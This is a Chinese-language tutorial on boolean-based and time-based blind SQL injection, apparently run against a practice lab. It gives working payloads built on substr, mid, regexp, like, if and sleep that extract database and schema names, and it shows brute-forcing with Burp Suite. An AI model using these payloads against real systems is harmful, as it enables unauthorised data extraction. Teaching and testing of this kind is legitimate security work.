目录
一、什么是盲注
二、盲注的分类
三、利用盲注的前提条件
四、盲注的优缺点
五、基于布尔类型的盲注
1.什么情况下使用布尔类型的盲注
2.使用布尔类型盲注的操作步骤:
3.布尔类型盲注的操作过程(以获取当前数据库为例)
4.使用其他函数进行布尔类型的盲注(演示获取当前数据库)
4.1 left()函数:
4.2 mid()函数:
4.3 正则表达式 regexp :
4.4 like函数:
4.5 if语句 :
六、基于时间类型的盲注
1.何时利用时间类型的盲注:
2.时间类型盲注的注意事项
3.基于时间盲注的演示
一、什么是盲注
盲注就是在sql注入过程中,sql语句执行select之后,可能由于网站代码的限制或者apache等解析器配置了不回显数据,造成在select数据之后不能回显到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个判断的过程称之为盲注。
通俗的讲就是在前端页面没有显示位,不能返回sql语句执行错误的信息,输入正确和错误返回的信息都是一致的,这时候我们就需要使用页面的正常与不正常显示来进行sql注入。
二、盲注的分类
- 基于布尔类型的盲注
- 基于时间类型的盲注
三、利用盲注的前提条件
首先页面没有显示位(如果有显示位可以选择union联合查询),并且没有返回sql语句的执行错误信息。
四、盲注的优缺点
优点:不需要显示位和出错信息。
缺点:速度慢,耗费时间长(可以用到bp等工具)。
五、基于布尔类型的盲注
1.什么情况下使用布尔类型的盲注
- 没有返回SQL执行的错误信息
- 错误与正确的输入,返回的结果只有两种
错误页面:
正确页面:
2.使用布尔类型盲注的操作步骤:
- 构造目标查询语句
- 选择拼接方式
- 构造判断表达式
- 提取数据长度
- 提取数据内容
3.布尔类型盲注的操作过程(以获取当前数据库为例)
在SQL注入过程中,由于没有显示位于报错信息,所以会用到截取字符串函数进行数据的提取,所往往需要一个一个字符去猜。
第一步:获取当前数据库的长度
payload为:lili' and length((select database()))=7--+
查看返回结果(需要自己试,也可以是用bp工具,也可以使用“>”,“<”符号):
当输入其他数字时,查看返回结果:
第二步:获取当前数据库库名(获取前三个字符,数据量太大,需要用到bp工具)
开启burp suite
payload为:lili' and substr((select database()),1,1)='a'--+
substr为截取字符串函数,第一个参数为我们的SQL语句,第二个参数1表示从第一个字符开始,第三个参数表示截取一个字符。并且该字符为a。
通过bp工具暴力破解
通过上述方法即可获得当前数据库库名。
3.2获取所有数据库库名
第一步,获取字符长度
payload为:name=lili' and length((select group_concat(schema_name)from information_schema.schemata))=1--+
开启bp
第二步,获取所有数据库库名
这边可以选择狙击手模式(sniper)也可以选择集束炸弹模式(cluster bomb),狙击手模式需要手动修改参数,集束炸弹模式对电脑配置要求比较高,此处演示集束炸弹模式
文章来源地址https://www.toymoban.com/news/detail-722641.html
根据破解的结果可以知道相应的答案
4.使用其他函数进行布尔类型的盲注(演示获取当前数据库)
4.1 left()函数:
语法:left (string,n) string为要截取的字符串,n为长度。
payload:name=lili' and left((select database()),1)='p'--+
4.2 mid()函数:
语法:mid(string, start[, length]) column_name为要提取字符的字段,start为开始截取位置(起始值是1),length为截取的长度(可选,默认余下所有字符)
char(x)函数:将x的值转为所对应的字符
payload:name=lili' and mid((select database()),1,1)=char(112)--+
4.3 正则表达式 regexp :
正则表达式语法: regexp ^[a-z] 表示字符串中第一个字符是在 a-z范围内。regexp ^a 表示字符串第一个字符是a。regexp ^ab 表示字符串前两个字符是ab。
payload:name=lili' and (select database()) regexp '^p'--+
4.4 like函数:
语法:Like 'a%'表示字符串第一个字符是a。
Like 'ab%'表示字符串前两个字符是ab。
%表示为任意值
payload:name=lili' and (select database()) like 'p%'--+
4.5 if语句 :
语法:if(判断条件,正确返回的值,错误返回的值)
注意数据库中的if与后端if不一样
payload:name=lili' and 1= if(((select database())like 'p%'),1,0)--+
表示如果if语句中的第一个参数为真,则输出第一个值1,不为真输出第二个值0;
六、基于时间类型的盲注
1.何时利用时间类型的盲注:
页面上没有显示位和SQL语句执行的错误信息,正确执行和错误执行的返回界面一样,此时需要使用时间类型的盲注。
时间型盲注与布尔型盲注的语句构造过程类似,通常在布尔型盲注表达式的基础上使用IF语句加入延时语句来构造,由于时间型盲注耗时较大,通常利用脚本工具来执行,在手工利用的过程中较少使用。
2.时间类型盲注的注意事项
- 通常使用sleep()等专用的延时函数来进行时间盲注,特殊情况下也可以使用某些耗时较高的操作代替这些函数。
- 为了提高效率,通常在表达式判断为真时执行延时语句。
- 时间盲注语句拼接时无特殊要求,保证语法正确即可。
3.基于时间盲注的演示
1.通过时间线判断sql语句是否执行
2.通过添加sleep函数判断:
payload:name=lili'and sleep(5)--+ 执行成功时间线为5s
payload:name=lili''and sleep(5)--+ 执行失败时间线为32ms
3.通过时间盲注获取当前数据库
第一步:
首先需要获取数据库长度
payload:name=lili'and if(length((select database()))=7,sleep(5),0)--+
根据时间线判断可知数据库的字符长度为7
第二步:
获取当前数据库的库名
payload:name=lili'and if(substr((select database()),1,1)='p',sleep(5),0)--+
根据时间线判断当前数据库的库名的第一个符为‘p’
也可以使用上边布尔类型盲注的其他函数执行。
文章来源:https://www.toymoban.com/news/detail-722641.html
到了这里,关于SQL注入-盲注(布尔盲注与时间盲注)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!